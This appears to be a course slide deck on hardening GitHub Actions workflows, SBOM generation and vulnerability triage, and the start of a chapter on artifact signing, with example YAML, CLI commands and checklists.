Workflow dependencies: lock (transitive actions pinned)Roadmap (Mar 2026); not confirmed shippedLock direct and transitive actions to SHAs
Native egress firewall, scoped secretsRoadmap; not confirmed shippedUse Harden-Runner and environment secrets today

Teach the principle, not the feature: pin, restrict triggers, restrict egress, scope secrets. The platform is catching up to what you can already do by hand.

Chapter 9 · Part 9.2

Least privilege everywhere

Tokens, secrets and cloud roles scoped to one job, one environment, one purpose.

GITHUB_TOKEN

Start read-only, grant per job

Set the org default to read-only, then declare exactly what each job needs.

# workflow level: nothing by default
permissions: {}

jobs:
  test:
    permissions:
      contents: read
    runs-on: ubuntu-latest
    steps: [...]

  publish:
    needs: test
    permissions:
      contents: read
      packages: write     # push to GHCR
      id-token: write     # OIDC to AWS / Sigstore
      attestations: write # artifact attestations
    runs-on: ubuntu-latest
    steps: [...]

Common scopes

ScopeNeeded for
contents: readcheckout
contents: writepush tags, create releases
pull-requests: writecomment on / open PRs
packages: writepush to GHCR
id-token: writerequest an OIDC token
attestations: writestore artifact attestations
security-events: writeupload SARIF (CodeQL, Scorecard, zizmor)

Any scope you list at job level replaces the workflow default for that job; scopes you omit become none.

Secrets

Where secrets live, and who can read them

Prefer no secret at all (OIDC). When you need one, put it in the narrowest scope.

Scopes

ScopeReadable byUse for
OrganizationSelected reposShared, low-risk tokens (avoid)
RepositoryAny workflow on any branch with write accessNon-prod values
EnvironmentJobs that reference the environment and pass its protection rulesProd credentials

Environment protection

  • Required reviewers (separation of duties).
  • Deployment branches/tags: only main or v* can use prod.
  • Wait timer; prevent self-review.
  • Environment secrets are only exposed after the rules pass.

Hygiene

  • Never echo secrets; masking only hides exact matches in logs.
  • Structured secrets (JSON) are masked as a whole, not per field: avoid them.
  • Rotate on any suspicion; prefer short-lived tokens from OIDC or a GitHub App.
  • Fine-grained PATs only when nothing else works, with expiry.
Forks

What a pull request from a fork can and cannot do

The defaults are safe. The dangerous moves are opting out of them.

TriggerCode that runsSecretsGITHUB_TOKENRisk
pull_request from a forkThe PR's codeNone (except GITHUB_TOKEN)Read-onlyLow: designed for untrusted code
pull_request_targetBase branch workflow; checkout of PR head is up to youYesRead/write possibleHigh if you check out and run PR code
workflow_run after a fork PRBase branch workflowYesRead/write possibleHigh if you trust artifacts from the PR run
issue_comment (/deploy bots)Base branch workflowYesRead/write possibleHigh: any commenter can trigger

First-time contributors need maintainer approval before pull_request workflows run. Keep that setting on for public repos.

Pattern

Split untrusted and privileged work

The untrusted job builds and tests with no secrets. The privileged job never executes PR code.

Untrusted: on pull_requestcheckout PR headno secretsbuild + testread-only tokenupload artifactresults.json onlyPrivileged: on workflow_rundownload artifacttreat as datavalidate schemano eval, no execcomment on PRpull-requests: writeartifactNever: run scripts from the artifact, use it as a cache, or pass it to a shell unquoted.

This is how coverage reports and bot comments work safely for fork PRs. Chapter 8 shows the attack when this split is missing.

Cloud roles

One OIDC role per environment and per purpose

Chapter 4 built the trust policy. Hardening is about keeping each role small.

Do

  • Trust sub for an environment (...:environment:prod), not a branch wildcard.
  • Separate roles: gha-cicd-lab-dev (push to dev ECR) vs gha-cicd-lab-prod (promote).
  • Permissions limited to one ECR repository ARN, one Secrets Manager prefix.
  • Session duration short (default 1 h is fine for most jobs).
  • Alarm on AssumeRoleWithWebIdentity from unexpected sub values in CloudTrail.

Do not

  • StringLike on repo:my-org/* — every repo in the org can assume it.
  • One "CI" role with AdministratorAccess shared by all repos.
  • Static access keys in secrets "for the one job that needs it".
  • Grant id-token: write at workflow level when only one job federates.
Chapter 9 · Part 9.3

Runtime and egress controls

Assume a step will be compromised. Limit what it can reach and what it can leave behind.

Runners

Ephemeral by default; self-hosted only with isolation

A runner that survives a job can carry an attacker into the next one.

Runner typeLifetimeMain riskGuidance
GitHub-hostedFresh VM per jobEgress to anywhereDefault choice; add egress monitoring
Self-hosted, persistentMany jobsPersistence, credential theft, lateral movement into your networkAvoid; never on public repos
Self-hosted, ephemeral (--ephemeral, ARC)One jobNetwork reach into VPCSeparate runner groups per trust level; restrict by repo
Larger runners with private networkingFresh VM per jobAccess to private resourcesScope runner groups to specific repos/workflows

Runner groups can be limited to selected repositories and selected workflows. Use that to keep a prod-capable runner away from untrusted code.

Egress

Harden-Runner: see, then block, outbound traffic

Most CI payloads exfiltrate over the network. An egress allowlist turns that into a failed job.

steps:
  - uses: step-security/harden-runner@<sha>   # vX.Y.Z
    with:
      egress-policy: audit   # week 1: learn

# after reviewing the run insights:
  - uses: step-security/harden-runner@<sha>   # vX.Y.Z
    with:
      egress-policy: block
      allowed-endpoints: >
        api.github.com:443
        github.com:443
        proxy.golang.org:443
        sum.golang.org:443
        ghcr.io:443
        *.dkr.ecr.ap-northeast-1.amazonaws.com:443
        sts.amazonaws.com:443

How it works

  • Must be the first step of the job.
  • Audit mode records DNS and network calls, file writes and processes per run.
  • Block mode denies endpoints not on the list; the job fails visibly.
  • Works on GitHub-hosted runners; self-hosted and ARC need the vendor's agent.
  • Third-party action from StepSecurity — pin it like any other.

Catches: payloads uploading secrets to unknown hosts, install scripts fetching a second stage, dependencies calling home. Exfiltration through allowed hosts (e.g. a new public GitHub repo) still needs token scoping.

Checkout

persist-credentials: false and other checkout defaults

actions/checkout writes the token into .git/config by default so later steps can push.

- uses: actions/checkout@<sha>   # vX.Y.Z
  with:
    persist-credentials: false  # no token in .git
    fetch-depth: 1

# later, only the step that must push:
- run: |
    U="x-access-token:${GH_TOKEN}"
    R="github.com/${GITHUB_REPOSITORY}.git"
    git push "https://${U}@${R}" \
      HEAD:refs/heads/bot/update
  env:
    GH_TOKEN: ${{ secrets.BOT_TOKEN }}

Why it matters

  • Any later step (a test, a linter, a malicious dependency) can read .git/config.
  • If the workspace is uploaded as an artifact, the token goes with it (zizmor calls this artipacked).
  • Grant push credentials only to the one step that pushes.

Also: never check out PR head code in a pull_request_target job with secrets; never upload ${{ github.workspace }} wholesale; do not trust build outputs restored from a cache without verifying them.

Isolation

Keep untrusted steps away from secrets and long jobs

Secrets are exposed per step only through env: and with:. Structure jobs so the risky steps never see them.

Structure

  • Job A (no secrets): install, lint, unit test, build.
  • Job B (secrets, environment): sign, push, deploy — only first-party steps.
  • Pass data between jobs as artifacts with a digest, not as a shared workspace.
  • Put secrets in env: of the single step that needs them, never at job or workflow level.

Bound the blast radius

  • timeout-minutes on every job (cryptominers love the 6-hour default).
  • concurrency groups so a flood of PRs cannot queue unlimited runs.
  • Job containers (container:) for tools you do not trust on the host.
  • Read-only file systems are not available on hosted runners: assume a step can write anywhere in the workspace.

Inputs are untrusted

  • PR title, body, branch name, commit message, issue comment.
  • Never interpolate ${{ github.event.* }} inside run:; pass via env: and quote.
  • Chapter 8 has the script-injection demo; zizmor flags it as template-injection.
Chapter 9 · Part 9.4

Linting and scoring

Make the rules machine-checked: actionlint for correctness, zizmor for security, Scorecard for the repo.

actionlint

actionlint: catch broken workflows before they run

A static checker for workflow syntax, expressions, needs graphs and embedded shell (via shellcheck).

# local
brew install actionlint shellcheck
actionlint                      # checks .github/workflows/*.yml

# in CI: official image (pin by digest)
- run: |
    docker run --rm -v "$PWD:/repo" -w /repo \
      rhysd/actionlint:<version> -color

# example findings
# property "sha" is not defined ... [expression]
# job "deploy" needs job "biuld" ... [job-needs]
# shellcheck reported issue ... SC2086 [shellcheck]

What it finds

  • Typos in contexts, outputs and needs.
  • Invalid on: filters, cron syntax, runner labels.
  • Type errors in expressions.
  • Shell bugs in run: (quoting, globbing).
  • Some untrusted-input interpolations — zizmor goes much deeper on security.
zizmor

zizmor: a security linter for workflows

Static analysis of workflows and composite actions for the patterns behind real CI compromises.

# install and run locally
brew install zizmor        # or: uvx zizmor / pipx run zizmor
zizmor .github/workflows/

# online audits (resolves tags, checks known-vulnerable actions)
GH_TOKEN=$(gh auth token) zizmor .

# SARIF for code scanning
zizmor --format sarif . > zizmor.sarif

Audits you will meet

AuditFinds
template-injection${{ }} with attacker-controlled data in run:
dangerous-triggerspull_request_target, workflow_run misuse
excessive-permissionsWrite scopes the job does not need
unpinned-usesActions referenced by tag or branch
artipackedCredentials persisted by checkout and uploaded
cache-poisoningCaches reused by release workflows

Start in report-only mode, fix the findings, then make it a required check. Suppress a finding only with an inline comment that explains why.

Scorecard

OpenSSF Scorecard: score the whole repository

Automated checks for supply chain practices, from branch protection to pinned dependencies.

# .github/workflows/scorecard.yml
on:
  push: {branches: [main]}
  schedule: [{cron: "17 3 * * 1"}]
permissions: read-all
jobs:
  analysis:
    runs-on: ubuntu-latest
    permissions:
      security-events: write   # upload SARIF
      id-token: write          # publish results
    steps:
      - uses: actions/checkout@<sha>   # vX.Y.Z
        with: {persist-credentials: false}
      - uses: ossf/scorecard-action@<sha>   # vX.Y.Z
        with:
          results_file: results.sarif
          results_format: sarif
          publish_results: true
      - uses: github/codeql-action/upload-sarif@<sha>   # vX.Y.Z
        with: {sarif_file: results.sarif}

Checks that map to this deck

CheckChapter
Pinned-Dependencies9 (actions, images)
Token-Permissions9
Dangerous-Workflow8, 9
Branch-Protection, Code-Review3, 6
Dependency-Update-Tool6, 9
SAST6
Signed-Releases11
Vulnerabilities10
Required checks

Make the linters gates, not suggestions

A ruleset on main requires the lint jobs. CODEOWNERS makes workflow changes need a platform review.

# .github/workflows/workflow-lint.yml
on:
  pull_request:
    paths: [".github/**"]
permissions: {}
jobs:
  lint:
    runs-on: ubuntu-latest
    permissions: {contents: read}
    timeout-minutes: 5
    steps:
      - uses: actions/checkout@<sha>   # vX.Y.Z
        with: {persist-credentials: false}
      - name: actionlint
        run: >
          docker run --rm -v "$PWD:/repo" -w /repo
          rhysd/actionlint:<version> -color
      - name: zizmor
        run: pipx run zizmor --min-severity medium .github/

Wire it up

  • Ruleset on main: require lint and the build checks; block force pushes.
  • CODEOWNERS: /.github/ @my-org/platform so workflow edits need platform approval.
  • Ruleset: require code owner review.
  • Scorecard weekly; track the score per repo in a dashboard (chapter 13).
  • New repos inherit all of this from an org ruleset, not from copy-paste.
Putting it together

A hardened build workflow (1/2)

Every control from this chapter in one file. Placeholders <sha> stand for full commit SHAs.

name: build
on:
  pull_request:
  push:
    branches: [main]
permissions: {}                                  # nothing by default
concurrency:
  group: build-${{ github.ref }}
  cancel-in-progress: true
jobs:
  test:                                          # untrusted-safe: no secrets
    runs-on: ubuntu-latest
    timeout-minutes: 15
    permissions: {contents: read}
    steps:
      - uses: step-security/harden-runner@<sha>  # vX.Y.Z
        with:
          egress-policy: block
          allowed-endpoints: >
            github.com:443 api.github.com:443 proxy.golang.org:443 sum.golang.org:443
      - uses: actions/checkout@<sha>             # vX.Y.Z
        with: {persist-credentials: false}
      - uses: actions/setup-go@<sha>             # vX.Y.Z
        with: {go-version-file: go.mod}
      - run: go vet ./... && go test ./...
Putting it together

A hardened build workflow (2/2)

The publish job runs only on main, behind the dev environment, with OIDC and no stored keys.

  publish:
    needs: test
    if: github.event_name == 'push'
    runs-on: ubuntu-latest
    timeout-minutes: 20
    environment: dev                             # protection rules + env secrets
    permissions: {contents: read, id-token: write, attestations: write}
    steps:
      - uses: actions/checkout@<sha>             # vX.Y.Z
        with: {persist-credentials: false}
      - uses: aws-actions/configure-aws-credentials@<sha>  # vX.Y.Z
        with:
          role-to-assume: arn:aws:iam::111122223333:role/gha-cicd-lab
          aws-region: ap-northeast-1
      - uses: aws-actions/amazon-ecr-login@<sha> # vX.Y.Z
        id: ecr
      - uses: docker/build-push-action@<sha>     # vX.Y.Z
        id: build
        with:
          push: true
          tags: ${{ steps.ecr.outputs.registry }}/cicd-lab/hello:${{ github.sha }}
      - uses: actions/attest-build-provenance@<sha>  # vX.Y.Z
        with:
          subject-name: ${{ steps.ecr.outputs.registry }}/cicd-lab/hello
          subject-digest: ${{ steps.build.outputs.digest }}
          push-to-registry: true

Checklist

  • permissions: {} at top; scopes per job.
  • All uses: pinned by SHA.
  • Harden-Runner first step in every job (omitted here for space).
  • persist-credentials: false.
  • Secrets/roles only in the publish job, behind an environment.
  • No ${{ github.event.* }} in run:.
  • Timeouts and concurrency set.
  • actionlint + zizmor + Scorecard as checks.
Common mistakes

Hardening mistakes

Each one has appeared in a real incident or audit.

Pinning

  • Pinning top-level actions but not the actions a composite action calls.
  • Short SHAs or SHAs copied from a fork.
  • Pinning once and never updating: old SHAs accumulate known bugs.
  • Auto-merging action bumps with no cooldown.

Privilege

  • permissions: write-all "to make it work".
  • id-token: write at workflow level.
  • Prod secrets as repository secrets instead of environment secrets.
  • Trust policies with repo:org/* wildcards.

Runtime

  • Persistent self-hosted runners on public repos.
  • Harden-Runner left in audit mode forever.
  • Uploading the whole workspace (with .git/config) as an artifact.
  • Linters added but not required, so findings pile up.
Self-check

Hardening GitHub Actions: can you answer these?

Explain the answer and name the exact setting, key or tool.

Pin and update

  • Why did SHA-pinned workflows survive the tj-actions compromise?
  • Which policy blocks an action across the whole org in one change?
  • What does a Dependabot cooldown protect against?
  • Which 2026 controls are shipped and which are still roadmap items?

Privilege

  • What token permissions does a fork pull_request run get?
  • Why is pull_request_target + checkout of the PR head dangerous?
  • Where should a prod deploy credential live, and what guards it?
  • How do you keep id-token: write to one job?

Runtime and linting

  • Why must Harden-Runner be the first step?
  • What does persist-credentials: false prevent?
  • Name three zizmor audits and the attack each one prevents.
  • Which Scorecard checks map to this chapter?

Practice: Lab 9 in Hands-on labs — pin with Dependabot, read-only token, zizmor and actionlint as required checks, and an OpenSSF Scorecard run.

Chapter 10

SBOM and vulnerability management

Know exactly what is inside every image, decide which CVEs actually matter, and fix them on a clock.

Chapter 10 · Part 10.1

SBOM basics

A software bill of materials is the ingredient list of an artifact: every package, version and license.

Why SBOMs

The question every incident starts with: "are we affected?"

Without an inventory, answering it means rebuilding and scanning every image you ever shipped.

What an SBOM lists

  • Components: OS packages, language packages, binaries.
  • Version and a package URL (purl) per component.
  • Licenses, suppliers, hashes.
  • Relationships: which component contains or depends on which.
  • Metadata: the tool, the time, the subject (image digest).

What it is used for

  • Answer "is CVE-X in production?" in minutes (xz utils, 2024).
  • Re-scan old artifacts against new CVEs without rebuilding.
  • License compliance.
  • Customer and regulatory requests for component lists.
  • Input to admission policy (chapter 12): "no image without an SBOM".

What it is not

  • Not a vulnerability report: CVEs change daily, the SBOM does not.
  • Not proof of integrity: sign or attest it (chapter 11).
  • Not complete by default: statically linked or vendored code can be missed.
  • Not useful if nobody stores or queries it.
Formats

SPDX vs CycloneDX

Both are open standards with JSON forms; most tools read and write both. Pick one per organization.

SPDXCycloneDX
StewardLinux Foundation (ISO/IEC 5962)OWASP (ECMA-424)
OriginsLicense complianceApplication security
Common versions in tools2.3 (3.0 published)1.4 – 1.6
StrengthsLicenses, file-level detail, legal useVulnerabilities, VEX, services, compact
Typical file namesbom.spdx.jsonsbom.cdx.json
Attestation predicatehttps://spdx.dev/Documenthttps://cyclonedx.org/bom

How to choose

  • Security-led programs usually pick CycloneDX.
  • Legal/license-led programs usually pick SPDX.
  • Customers may demand one: generate both from one scan if needed.
  • Amazon Inspector exports CycloneDX 1.4 and SPDX 2.3.
  • Keep the purl field: it is how scanners match packages to advisories.
Anatomy

One component in CycloneDX JSON

Scanners match on purl; humans read name and version; auditors read licenses and hashes.

{
  "bomFormat": "CycloneDX",
  "specVersion": "1.6",
  "metadata": {
    "timestamp": "2026-11-02T03:12:44Z",
    "tools": {"components": [{"name": "syft"}]},
    "component": {"type": "container",
      "name": "cicd-lab/hello",
      "version": "sha256:4f1c..."}
  },
  "components": [
    {"type": "library",
     "name": "golang.org/x/net",
     "version": "v0.33.0",
     "purl": "pkg:golang/golang.org/x/net@v0.33.0",
     "licenses": [{"license": {"id": "BSD-3-Clause"}}]},
    {"type": "operating-system",
     "name": "debian", "version": "12"}
  ]
}

Package URL (purl)

  • pkg:<type>/<namespace>/<name>@<version>?<qualifiers>
  • pkg:golang/golang.org/x/net@v0.33.0
  • pkg:deb/debian/openssl@3.0.15-1~deb12u1?distro=debian-12
  • pkg:npm/%40aws-sdk/client-s3@3.700.0
  • pkg:oci/hello@sha256:4f1c... for the image itself.
  • Distro qualifiers matter: Debian backports fixes without changing the upstream version.
Syft

Generating SBOMs with Syft

Syft catalogs OS and language packages from an image, a directory or an archive.

brew install syft

# from an image in a registry (no Docker daemon needed)
IMAGE=$REGISTRY/cicd-lab/hello@sha256:<digest>
syft "$IMAGE" \
  -o cyclonedx-json=sbom.cdx.json \
  -o spdx-json=sbom.spdx.json

# from source (lock files, go.mod): what you *declare*
syft dir:. -o cyclonedx-json=src.cdx.json

# quick look in the terminal
syft ghcr.io/stefanprodan/podinfo:6.8.0 -o table | head

# convert between formats
syft convert sbom.cdx.json -o spdx-json=out.spdx.json

Tips

  • Scan by digest, not tag, so the SBOM names one immutable subject.
  • Multiple -o format=file flags write several formats from one scan.
  • Image SBOMs include the base image; source SBOMs do not.
  • Go binaries embed module info: Syft reads it even from scratch images.
  • Pin the Syft version in CI so output is stable between runs.
When to generate

Build-time vs scan-time SBOMs

Generate at build time and attach it to the artifact; scan-time SBOMs fill gaps for images you did not build.

Build-time (preferred)

  • Generated in the pipeline that produced the image.
  • Bound to the image digest and signed or attested (chapter 11).
  • BuildKit can do it during the build: docker buildx build --sbom=true stores an SBOM attestation with the image.
  • The anchore/sbom-action GitHub Action wraps Syft for workflows.
# GitHub Actions: SBOM for the pushed image
- uses: anchore/sbom-action@<sha>   # vX.Y.Z
  with:
    image: ${{ env.IMAGE_AT_DIGEST }}
    format: cyclonedx-json
    output-file: sbom.cdx.json
    upload-artifact: false

# BuildKit SBOM attestation in the same push
- uses: docker/build-push-action@<sha>   # vX.Y.Z
  with:
    push: true
    sbom: true
    provenance: mode=max

Scan-time SBOMs (Inspector, Syft, Trivy on a registry image) cover third-party images you did not build and give fleet inventory, but cannot see what the build removed.

Pipeline

Where SBOMs fit in the pipeline

One SBOM per image digest, produced once, stored next to the image, scanned many times.

buildimage digestsyftsbom.cdx.jsongrype / trivygate in CIattestcosign / GitHubregistryimage + attestationsVEXnot_affected listDependency-Trackfleet inventory + alertsadmission (ch 12)require SBOM attestationnightly re-scannew CVEs, old imagesThe SBOM is static; the vulnerability verdict is recomputed every time the advisory database changes.
Chapter 10 · Part 10.2

Scanning and triage

Scanners find CVEs. Triage decides which ones matter, records the decision, and sets a deadline.

Scanners

Grype and Trivy against an SBOM

Scanning the SBOM is fast and repeatable: no image pull, same input, different advisory data over time.

# Grype
brew install grype
grype sbom:sbom.cdx.json                       # table
grype sbom:sbom.cdx.json --fail-on high        # exit 1 at High+
grype sbom:sbom.cdx.json --only-fixed          # hide unfixable
grype sbom:sbom.cdx.json -o sarif > grype.sarif

# Trivy
brew install trivy
trivy sbom sbom.cdx.json
trivy sbom --severity HIGH,CRITICAL --exit-code 1 sbom.cdx.json
trivy sbom --ignore-unfixed sbom.cdx.json
trivy image --format cyclonedx --output sbom.cdx.json $IMAGE

Notes

  • Both pull a vulnerability database on first run; cache it in CI.
  • Results differ between tools: different data sources and matching rules.
  • Pick one as the gate; use the other to spot-check disagreements.
  • Upload SARIF to code scanning to track findings per repo.
  • Distro packages: trust the distro's security tracker status over upstream version math.
Prioritize

Severity is not risk: CVSS, EPSS and KEV

Hundreds of findings per image is normal. Rank by exploitability and reachability, not by score alone.

SignalSourceAnswers
CVSSNVD / vendorHow bad if exploited (0–10)
EPSSFIRSTProbability of exploitation in the next 30 days
KEVCISA catalogIs it known to be exploited in the wild?
Fix availableDistro / upstreamCan we act now?
ReachabilityYour code / VEXIs the vulnerable code even used?
CVE=CVE-2024-3094
# EPSS score
curl -s "https://api.first.org/data/v1/epss?cve=$CVE" \
  | jq '.data[0] | {cve, epss, percentile}'

# in CISA KEV?
KEV="https://www.cisa.gov/sites/default/files/feeds"
curl -s "$KEV/known_exploited_vulnerabilities.json" \
  | jq --arg c "$CVE" \
    '.vulnerabilities[] | select(.cveID==$c)'

Simple rule set: KEV or high EPSS + fix available → fix now. Critical/High + fix → next sprint. No fix → mitigate and record an exception with expiry. Not reachable → VEX not_affected with justification.

Triage flow

From finding to decision

Every finding ends in exactly one state, with an owner and a date.

Detect

  • Scanner gate in CI.
  • Nightly re-scan of deployed SBOMs.
  • Inspector continuous scan.
→

Enrich

  • EPSS, KEV, fix version.
  • Which images and services ship it.
  • Is it in the runtime image or only build stage?
→

Decide

  • Fix: bump dependency or base image.
  • Not affected: write VEX.
  • Accept: exception with expiry and owner.
→

Verify

  • Rebuild, re-scan, new SBOM.
  • Promotion PR to prod (GitOps).
  • Close the ticket with the new digest.

Measure time-to-fix per severity and the count of open exceptions past expiry. Both go on the chapter 13 dashboard.

VEX

VEX: record "not affected" once, for every scanner

Vulnerability Exploitability eXchange states whether a product is affected by a CVE, and why.

{
  "@context": "https://openvex.dev/ns/v0.2.0",
  "@id": "https://example.com/vex/hello-2026-001",
  "author": "platform-security@example.com",
  "timestamp": "2026-11-02T00:00:00Z",
  "version": 1,
  "statements": [{
    "vulnerability": {"name": "CVE-2025-12345"},
    "products": [{"@id": "pkg:oci/hello@sha256:4f1c..."}],
    "status": "not_affected",
    "justification": "vulnerable_code_not_in_execute_path",
    "impact_statement": "hello never calls the parser"
  }]
}

Statuses and justifications

  • Status: not_affected, affected, fixed, under_investigation.
  • not_affected needs a justification such as component_not_present, vulnerable_code_not_present, vulnerable_code_not_in_execute_path, inline_mitigations_already_exist.
  • Formats: OpenVEX (shown), CycloneDX VEX, CSAF VEX.
  • Create with vexctl create or by hand; review like code.
Using VEX

Feed VEX to the scanners; keep the exception list honest

VEX suppresses findings the same way in every tool. Plain ignore files are the fallback, with an expiry.

# Grype and Trivy read OpenVEX
grype sbom:sbom.cdx.json --vex vex/hello.openvex.json
grype sbom:sbom.cdx.json --vex vex/hello.openvex.json --show-suppressed

trivy sbom --vex vex/hello.openvex.json sbom.cdx.json
trivy sbom --vex vex/hello.openvex.json --show-suppressed sbom.cdx.json

# Trivy ignore file with an expiry date (fallback for "accept")
# .trivyignore
# owner: team-hello, ticket SEC-142
CVE-2025-23456 exp:2026-12-31

Governance

  • VEX files live in Git, reviewed by security, next to the code.
  • Product IDs must match what the scanner sees (purl of the image).
  • Every exception has an owner, a reason and an expiry; expired ones fail the build.
  • Pin scanner versions: VEX support has changed between releases.
  • Publish VEX with your releases so customers see the same verdicts.
SLAs

Remediation SLAs that teams can meet

Clocks start when the finding is first seen in a deployed artifact, not when someone looks at it.

Example policy

ClassConditionFix within
P0KEV listed, internet-facing, fix available72 hours
P1Critical, fix available7 days
P2High, fix available30 days
P3Medium/Low, or no fixNext base image refresh; review quarterly

Make it work

  • Gate new builds on P0/P1 so the problem stops growing.
  • Re-scan deployed images nightly so old artifacts are not forgotten.
  • Auto-open tickets per service with the image digest and fix version.
  • Report SLA attainment, not raw CVE counts.
  • Numbers are examples: align with your compliance framework.
Chapter 10 · Part 10.3

Operating at scale

Store SBOMs with the artifact, keep a fleet-wide inventory, and refresh base images on a schedule.

SBOM attestations

Attach the SBOM to the image as a signed attestation

An attestation binds the SBOM to one image digest and to the identity that built it.

# cosign keyless (Sigstore), in a job with id-token: write
cosign attest --yes \
  --type cyclonedx \
  --predicate sbom.cdx.json \
  "$IMAGE@$DIGEST"

# verify later (or in admission, chapter 12)
cosign verify-attestation \
  --type cyclonedx \
  --certificate-identity-regexp "^$REPO_URL/" \
  --certificate-oidc-issuer "$GH_ISSUER" \
  "$IMAGE@$DIGEST" \
  | jq -r .payload | base64 -d | jq .predicateType
# REPO_URL=https://github.com/<you>/cicd-lab
# GH_ISSUER=https://token.actions.githubusercontent.com
# GitHub artifact attestation for the SBOM
- uses: actions/attest-sbom@<sha>   # vX.Y.Z
  with:
    subject-name: ${{ env.REGISTRY }}/cicd-lab/hello
    subject-digest: ${{ steps.build.outputs.digest }}
    sbom-path: sbom.cdx.json
    push-to-registry: true

# verify
gh attestation verify oci://$IMAGE@$DIGEST \
  --owner <you> \
  --predicate-type https://cyclonedx.org/bom

attest-sbom needs id-token: write and attestations: write; sbom-path must be a JSON SBOM (max 16 MB). Chapter 11 covers attestations in depth.

Fleet inventory

Dependency-Track: one place to ask "where is this component?"

An OWASP platform that ingests CycloneDX SBOMs per project/version and re-evaluates them continuously.

What it gives you

  • Portfolio view: every service, every version, every component.
  • Continuous analysis against new advisories (no rebuild).
  • Policy engine: license and security violations.
  • Notifications to Slack, Jira, webhooks.
  • Records audit decisions (similar to VEX) per finding.
# upload from CI after the SBOM step
DT=https://dtrack.example.com
curl -sf -X POST "$DT/api/v1/bom" \
  -H "X-Api-Key: ${DT_API_KEY}" \
  -F "autoCreate=true" \
  -F "projectName=hello" \
  -F "projectVersion=${GITHUB_SHA}" \
  -F "bom=@sbom.cdx.json"

Design choices

  • Project version = image digest or release tag, never latest.
  • Mark which versions are deployed (tags or a separate "active" flag) so dashboards ignore history.
  • Self-hosted: plan for its database and API server sizing.
  • Store the API key as an environment secret, upload from the publish job only.
Amazon Inspector

Inspector: continuous scanning and SBOM export on AWS

Enhanced scanning re-evaluates ECR images when new CVEs appear; SBOM export gives you the inventory.

Scanning

  • Enhanced scanning: on push and continuous; findings in Inspector and Security Hub.
  • Each platform image of a multi-arch manifest list is scanned; the list itself is not.
  • Re-scan duration setting decides how long pushed and pulled images stay monitored.
  • Findings go to EventBridge: route Critical to tickets automatically.
# export SBOMs for one ECR repo to S3
F='ecrRepositoryName=[{comparison=EQUALS,'
F+='value=cicd-lab/hello}]'
D="bucketName=sbom-exports,keyPrefix=hello/"
D+=",kmsKeyArn=$KMS_ARN"
aws inspector2 create-sbom-export \
  --report-format CYCLONEDX_1_4 \
  --resource-filter-criteria "$F" \
  --s3-destination "$D"

aws inspector2 get-sbom-export --report-id <id>

Formats: CycloneDX 1.4 and SPDX 2.3 (JSON). The bucket policy and KMS key must allow Inspector to write. SBOM export has no extra charge; enhanced scanning is billed by Inspector.

Base images

Most CVEs come from the base image: refresh it on a schedule

Your code changes weekly; the OS layer underneath needs the same cadence, even when nobody touches the service.

Policy

  • Pin base images by digest in the Dockerfile.
  • Renovate/Dependabot (docker ecosystem) opens digest-bump PRs.
  • Scheduled rebuild (weekly) even with no code change.
  • One golden base image per language, owned by the platform team.
  • Minimal bases (distroless, scratch for Go) shrink the CVE count dramatically.
# Dockerfile: base pinned by digest
FROM golang:1.27@sha256:<digest> AS build
WORKDIR /src
COPY . .
RUN CGO_ENABLED=0 go build -o /hello .

FROM gcr.io/distroless/static-debian12@sha256:<d>
COPY --from=build /hello /hello
USER nonroot
ENTRYPOINT ["/hello"]

Scheduled rebuild: a rebuild.yml with on: schedule (weekly) that calls the build workflow via workflow_call. It produces a new digest, SBOM and attestations; promotion to prod still goes through the GitOps PR flow.

Metrics

Measuring the vulnerability program

Count what changes behavior; raw CVE totals mostly measure base image size.

MetricWhySource
% deployed images with a build-time SBOM attestationCoverage of the inventoryRegistry / admission audit
Open P0/P1 findings in deployed imagesCurrent exposureNightly re-scan, Inspector
Mean time to remediate per classIs the SLA realistic?Ticket timestamps
Exceptions past expiryGovernance healthVEX / ignore files in Git
Base image age in production (days)Refresh cadence works?Image labels / SBOM timestamp
Findings per image by base imageWhich golden image to fix firstDependency-Track portfolio
Common mistakes

SBOM and vulnerability management mistakes

The usual ways an SBOM program produces paperwork instead of security.

SBOMs

  • Generating SBOMs but storing them nowhere queryable.
  • SBOM tied to a tag instead of a digest.
  • Source-only SBOMs that miss the base image.
  • Unsigned SBOMs anyone could replace.

Scanning

  • Gating on every Medium: teams learn to bypass the gate.
  • Scanning only at build time, never re-scanning deployed images.
  • Unpinned scanner versions: results change without any code change.
  • Two scanners as gates with conflicting results.

Triage

  • Exceptions with no owner or expiry.
  • VEX not_affected without a justification.
  • Measuring CVE counts instead of SLA attainment.
  • Never refreshing base images of "stable" services.
Self-check

SBOM and vulnerability management: can you answer these?

Explain the answer and name the exact command or field.

SBOM basics

  • What does a purl encode, and why do scanners need it?
  • When would you choose SPDX over CycloneDX?
  • What does an image SBOM see that a source SBOM misses?
  • Why should the SBOM subject be a digest?

Triage

  • How do CVSS, EPSS and KEV differ?
  • Which VEX status and justification fit "the function is never called"?
  • How do you make Grype and Trivy honor the same VEX file?
  • What belongs in an exception besides the CVE ID?

At scale

  • How do you attach an SBOM to an image so it cannot be swapped?
  • What does Dependency-Track give you that a CI gate does not?
  • What does Inspector scan in a multi-arch image?
  • Why rebuild an image weekly when the code did not change?

Practice: Lab 10 in Hands-on labs — Syft in SPDX and CycloneDX, a Grype gate, a VEX entry for a false positive, and failing on Critical.

Chapter 11

Signing, provenance and SLSA

Prove who built an artifact, from which source, on which builder — and give the deploy side something it can verify.

Chapter 11 · Part 11.1

Signing models

Key-based vs keyless signing, the Sigstore pieces, and what a signature does and does not prove.

Why sign

A digest says "what"; a signature says "who vouches for it"

Registries are mutable and shared. A signature binds an identity to an exact image digest.

What a signature proves

  • The signer held the private key (or the identity behind a keyless certificate).
  • The signed digest has not changed since signing.
  • With keyless: which workflow, repo and ref produced the signature.
  • Combined with admission control (ch 12), only signed digests can run.

What it does not prove

  • That the code is free of bugs or vulnerabilities.
  • That the build was hermetic or reproducible.
  • That the signer was not compromised (a stolen key signs malware just fine).
  • Where the source came from — that is provenance (11.2), not a bare signature.

Sign what you deploy

  • Sign the digest (repo@sha256:…), never a tag: tags move.
  • Sign once, in CI, right after the push that produced the digest.
  • Multi-arch: sign the image index digest; verifiers resolve per platform.
  • Charts in OCI registries are artifacts too: sign them the same way.
Two models

Key-based signing vs keyless signing

The difference is who manages long-lived secrets: you, or nobody.

Key-based (cosign key pair, KMS, AWS Signer)Keyless (Sigstore: Fulcio + Rekor)
Signing materialA private key you store: file, KMS key, Signer profileAn ephemeral key pair per signing, thrown away after use
IdentityWhoever can use the keyThe OIDC identity in the CI token (repo, workflow, ref)
